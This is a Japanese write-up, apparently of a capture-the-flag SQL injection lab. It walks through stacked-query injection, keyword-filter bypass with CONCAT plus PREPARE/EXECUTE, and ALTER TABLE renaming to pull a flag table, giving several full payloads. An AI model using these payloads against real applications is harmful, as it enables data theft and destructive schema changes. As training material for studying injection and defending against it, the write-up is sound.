対象パラメータへの入力を検証し、SQLインジェクションの脆弱性を特定する。シングルクォート(')を末尾に付与した入力値は構文エラーを返すが、コメントアウト記号(#)を併用するとエラーが解消される。論理演算子を用いた1' or 1=1 #および1' and 1=1 #は真を返す一方で、1' and 1=2 #は偽となる挙動を示すことから、シングルブレースベースのインジェクションが存在すると断定できる。
次に、order by句の数値を段階的に変更し、エラーが発生しない閾値を特定することで、SELECT文が返すカラム数を算出する。
標準的なユニオンクエリ1' union select 1,2 #を実行すると、selectキーワードがアプリケーション側の正規表現フィルタによりブロックされる。この制限を回避するため、セミコロンを用いた堆疊注入(Stacked Injection)へアプローチを切り替える。
以下のペイロードを実行することで、データベース内のオブジェクト一覧を取得できる。
-1'; show tables; #
取得したテーブルの定義情報をshow columns fromで抽出する。
-1'; show columns from `words` #
-1'; show columns from `1919810931114514` #
調査の結果、対象となる機密データは数値のみのテーブル名を持つスキーマ内に格納されていることが確認できる。
手法A:プリペアドステートメントと文字列連結によるフィルタ回避
バックエンドがstrstr等の文字列検索関数で特定キーワードを弾いている場合、大文字小文字の区別有無やキーワードの分割・結合を利用して検証をすり抜ける。MySQLの動的SQL実行構文を活用し、変数名とステートメント名を再定義したペイロードは以下の通り。
-1'; SET @exec_payload = CONCAT('se', 'lect * from `1919810931114514`'); PREPARE target_stmt FROM @exec_payload; EXECUTE target_stmt; #
処理の分離図は以下となる。
-1';
SET @exec_payload = CONCAT('se', 'lect * from `1919810931114514`');
PREPARE target_stmt FROM @exec_payload;
EXECUTE target_stmt;
#
SETによる文字列変数の定義、PREPAREによるクエリのプリコンパイル、EXECUTEによる実行というフローにより、フィルタを回避しつつデータ取得が可能となる。なお、strstrがケースインセンシティブに動作している環境では、SetやPrepareのようにキーワードの先頭を大文字化するだけで検証条件を満たさないため、そのまま通過できる。
手法B:DDLによるメタデータ書き換えとクエリ流用
アプリケーションの標準クエリがSELECT * FROM words WHERE id = '...'形式であると推測される場合、ALTER TABLEを用いてテーブルおよびカラムのエイリアスを変更し、既存のロジックが自動的にフラグテーブルを参照するように誘導する。
1'; ALTER TABLE `words` RENAME TO `backup_words`; ALTER TABLE `1919810931114514` RENAME TO `words`; ALTER TABLE `words` CHANGE COLUMN `flag` `id` VARCHAR(64); #
ステップごとの分解は以下となる。
1';
ALTER TABLE `words` RENAME TO `backup_words`;
ALTER TABLE `1919810931114514` RENAME TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(64);
#
スキーマの再構築が完了した後、通常の論理演算クエリ1' or 1=1 #を再投入すると、改変されたwordsテーブルから目的のレコードが出力される。
技術的な実装留意点
- 堆疊注入の基盤: セミコロン(
;)はステートメントの終了記号であるが、同一セッション内で複数の独立したSQL文を連続発行可能にする特性を持つ。 - 識別子のエスケープ: テーブル名やカラム名が純粋な数値で構成される場合、MySQLパーサーが整数リテラルとして誤認識するのを防ぐため、バッククォート(
`)での囲み必須である。 - 動的SQLのライフサイクル:
PREPAREとEXECUTEの組み合わせは、セッション固有のメモリ空間でクエリプランを生成する。本来はDEALLOCATE PREPAREによるリソース解放が推奨されるが、インジェクション実行後は接続が切断されるため省略可能である。 - 文字列検索関数の仕様差: PHPの
strstr()はバイナリセーフかつ大文字小文字を区別する。厳密なマッチングを回避するには、入力値のケースを操作するか、またはケースインセンシティブなstristr()が使用されているか否かを検証する必要がある。 - DDLの実行タイミング:
ALTERコマンドはトランザクション管理外の即時反映型命令である。インジェクション環境では、アプリケーションの想定スキーマ構造を逆手に取り、SELECT文の参照先を強制的に差し替えることでデータ取得経路を確立できる。